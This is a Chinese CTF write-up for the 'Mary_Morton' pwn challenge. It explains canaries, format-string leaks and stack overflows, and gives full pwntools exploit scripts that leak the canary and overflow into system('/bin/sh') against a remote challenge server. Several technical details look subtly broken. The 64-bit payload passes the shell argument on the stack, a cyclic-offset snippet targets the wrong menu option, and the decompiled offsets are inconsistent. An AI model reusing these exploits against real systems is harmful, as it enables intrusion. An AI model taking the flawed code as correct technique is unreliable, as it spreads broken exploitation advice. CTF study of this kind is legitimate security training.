1. 项目概述:Mary_Morton题目解析
Mary_Morton是CTF比赛"攻防世界"中的一道经典pwn引导题目,主要考察选手对Canary保护和两种漏洞利用技术的综合运用能力。这道题在BUUCTF平台上也备受关注,成为许多pwn入门选手的"必修课"。
作为一道典型的pwn混合题型,它同时存在格式化字符串漏洞和栈溢出漏洞,需要选手先绕过Canary保护机制,再通过精心构造的payload实现控制流劫持。我在实际解题过程中发现,这道题完美展现了现代pwn题目的典型特征——多重保护机制与漏洞组合利用。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 漏洞原理深度分析
2.1 Canary保护机制解析
Canary(金丝雀)是栈保护的一种实现方式,得名于矿工用金丝雀检测瓦斯泄漏的典故。编译器会在函数调用时,在栈帧中插入一个随机值(Canary),函数返回前验证该值是否被修改。如果发现改变,则立即终止程序。
在GCC中,Canary保护通过以下选项启用:
bash复制-fstack-protector # 对包含字符数组的函数启用保护
-fstack-protector-all # 对所有函数启用保护
典型的栈布局如下:
code复制高地址
...
局部变量
Canary值
EBP
返回地址
参数
...
低地址
2.2 格式化字符串漏洞原理
当程序使用用户可控数据作为printf等函数的格式化参数时,就可能导致格式化字符串漏洞。攻击者可以通过输入特殊格式字符(如%x、%p)来泄露内存内容,或使用%n向任意地址写入数据。
常见危险格式符:
- %x:以16进制输出栈上数据
- %s:输出栈上指针指向的字符串
- %n:将已输出的字符数写入栈上指针指向的地址
- %c:输出栈上数据对应的ASCII字符
2.3 栈溢出漏洞原理
当程序向栈上的缓冲区写入数据时,没有正确检查输入长度,导致超出缓冲区边界并覆盖相邻的栈数据(如返回地址)。通过精心构造的溢出数据,攻击者可以控制程序执行流。
3. 题目逆向分析
3.1 IDA静态分析
使用IDA Pro载入程序后,可以看到main函数的主要逻辑:
c复制void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-8Ch]
char buf[128]; // [rsp+10h] [rbp-80h]
unsigned __int64 v5; // [rsp+98h] [rbp+8h]
v5 = __readfsqword(0x28u);
init_proc();
puts("Welcome to the battle ! ");
puts("[1] Stack Overflow");
puts("[2] Format String");
puts("[3] Exit the battle ");
while (1)
{
while (1)
{
printf("Your choice: ");
read(0, buf, 0x100uLL);
v3 = atoi(buf);
if (v3 != 2)
break;
fmt_str();
}
if (v3 == 3)
exit(0);
if (v3 != 1)
break;
stack_overflow();
}
puts("Bye bye~");
exit(0);
}
关键点分析:
- 程序提供了两个漏洞利用选项:栈溢出和格式化字符串
- 存在Canary保护(v5 = __readfsqword(0x28u))
- read函数存在明显的缓冲区溢出(buf大小128字节,但读取0x100字节)
3.2 关键函数分析
3.2.1 栈溢出函数
c复制unsigned __int64 stack_overflow()
{
char buf[136]; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(buf, 0, 0x80uLL);
read(0, buf, 0x100uLL);
return __readfsqword(0x28u) ^ v2;
}
漏洞点:
- buf大小136字节,但读取0x100(256)字节
- 可以覆盖返回地址,但需要先绕过Canary
3.2.2 格式化字符串函数
c复制unsigned __int64 fmt_str()
{
char buf[256]; // [rsp+0h] [rbp-100h]
unsigned __int64 v2; // [rsp+108h] [rbp+8h]
v2 = __readfsqword(0x28u);
memset(buf, 0, 0x100uLL);
read(0, buf, 0x100uLL);
printf(buf);
return __readfsqword(0x28u) ^ v2;
}
漏洞点:
- 直接将用户输入作为printf参数
- 可以泄露内存或写入任意地址
4. 漏洞利用实战
4.1 利用格式化字符串泄露Canary
首先需要通过格式化字符串漏洞泄露Canary值。通过测试发现,输入"%23$p"可以泄露栈上的Canary值:
python复制from pwn import *
p = process('./Mary_Morton')
# 选择格式化字符串选项
p.sendlineafter('Your choice: ', '2')
# 泄露Canary
p.sendline('%23$p')
canary = int(p.recvline(), 16)
log.success('Canary: 0x%x' % canary)
原理分析:
- Canary存储在栈的固定偏移位置
- 通过测试不同参数位置(%n$p),发现第23个参数指向Canary
- Canary值通常以0x00结尾,这可以用于验证获取的值是否正确
4.2 构造ROP链实现利用
获取Canary后,可以构造包含正确Canary值的payload实现栈溢出。典型利用步骤如下:
- 填充缓冲区到Canary位置
- 写入正确的Canary值
- 覆盖返回地址为system函数地址
- 设置system参数为"/bin/sh"
python复制# 获取其他必要地址
elf = ELF('./Mary_Morton')
system_addr = elf.symbols['system']
sh_addr = next(elf.search(b'/bin/sh'))
# 构造payload
payload = b'A'*136 # 填充缓冲区
payload += p64(canary) # 正确Canary值
payload += b'B'*8 # 覆盖RBP
payload += p64(system_addr) # 返回地址
payload += p64(sh_addr) # 参数
# 触发栈溢出
p.sendlineafter('Your choice: ', '1')
p.send(payload)
p.interactive()
4.3 完整利用脚本
python复制from pwn import *
context.log_level = 'debug'
# p = process('./Mary_Morton')
p = remote('node4.buuoj.cn', 29920)
# Step 1: Leak Canary via format string
p.sendlineafter('Your choice: ', '2')
p.sendline('%23$p')
canary = int(p.recvline(), 16)
log.success('Canary: 0x%x' % canary)
# Step 2: Prepare ROP chain
elf = ELF('./Mary_Morton')
system_addr = elf.symbols['system']
sh_addr = next(elf.search(b'/bin/sh'))
payload = b'A'*136
payload += p64(canary)
payload += b'B'*8
payload += p64(system_addr)
payload += p64(sh_addr)
# Step 3: Trigger stack overflow
p.sendlineafter('Your choice: ', '1')
p.send(payload)
p.interactive()
5. 常见问题与调试技巧
5.1 Canary泄露失败的可能原因
-
偏移计算错误:不同环境下的栈布局可能不同,需要重新测试偏移
- 解决方法:使用cyclic pattern确定正确偏移
python复制p.sendlineafter('Your choice: ', '2') p.sendline(cyclic(200)) p.wait() core = p.corefile offset = cyclic_find(core.read(core.rsp, 4)) -
Canary验证失败:可能因为payload构造错误导致Canary检查不通过
- 解决方法:确保在正确位置写入原始Canary值
5.2 系统函数地址获取
如果程序没有直接提供system函数和"/bin/sh"字符串,可以考虑:
- 通过泄露libc地址计算
- 使用ROPgadget构造execve调用
- 向bss段写入"/bin/sh"字符串
5.3 远程与本地差异处理
-
环境变量差异:远程环境可能缺少某些环境变量
- 解决方法:在本地使用干净环境测试
bash复制env -i ./Mary_Morton -
libc版本差异:远程可能使用不同版本的libc
- 解决方法:通过泄露的地址计算libc基址
6. 防御措施与安全建议
6.1 开发者防护建议
-
完全避免使用危险函数:
- 用snprintf代替sprintf
- 用fgets代替gets
- 用strncpy代替strcpy
-
启用所有保护机制:
bash复制
gcc -fstack-protector-all -pie -fPIE -Wl,-z,now -Wl,-z,relro -
使用静态分析工具检查漏洞:
bash复制
checksec --file=Mary_Morton
6.2 进阶利用技术延伸
-
当Canary无法泄露时,可以考虑:
- 暴力破解Canary(适用于fork服务器)
- 覆盖__stack_chk_fail函数指针
- 利用TSX绕过Canary检查
-
格式化字符串的高级利用:
- 使用%n写入GOT表
- 通过%c和宽度控制实现精确写入
- 利用$位置参数指定写入位置
在实际CTF比赛中,这类混合漏洞题目越来越常见。掌握基础漏洞原理后,建议尝试更复杂的保护绕过技术,如ASLR、PIE和NX的组合绕过。这道Mary_Morton题目作为入门练习,很好地展现了现代二进制安全的攻防对抗本质。
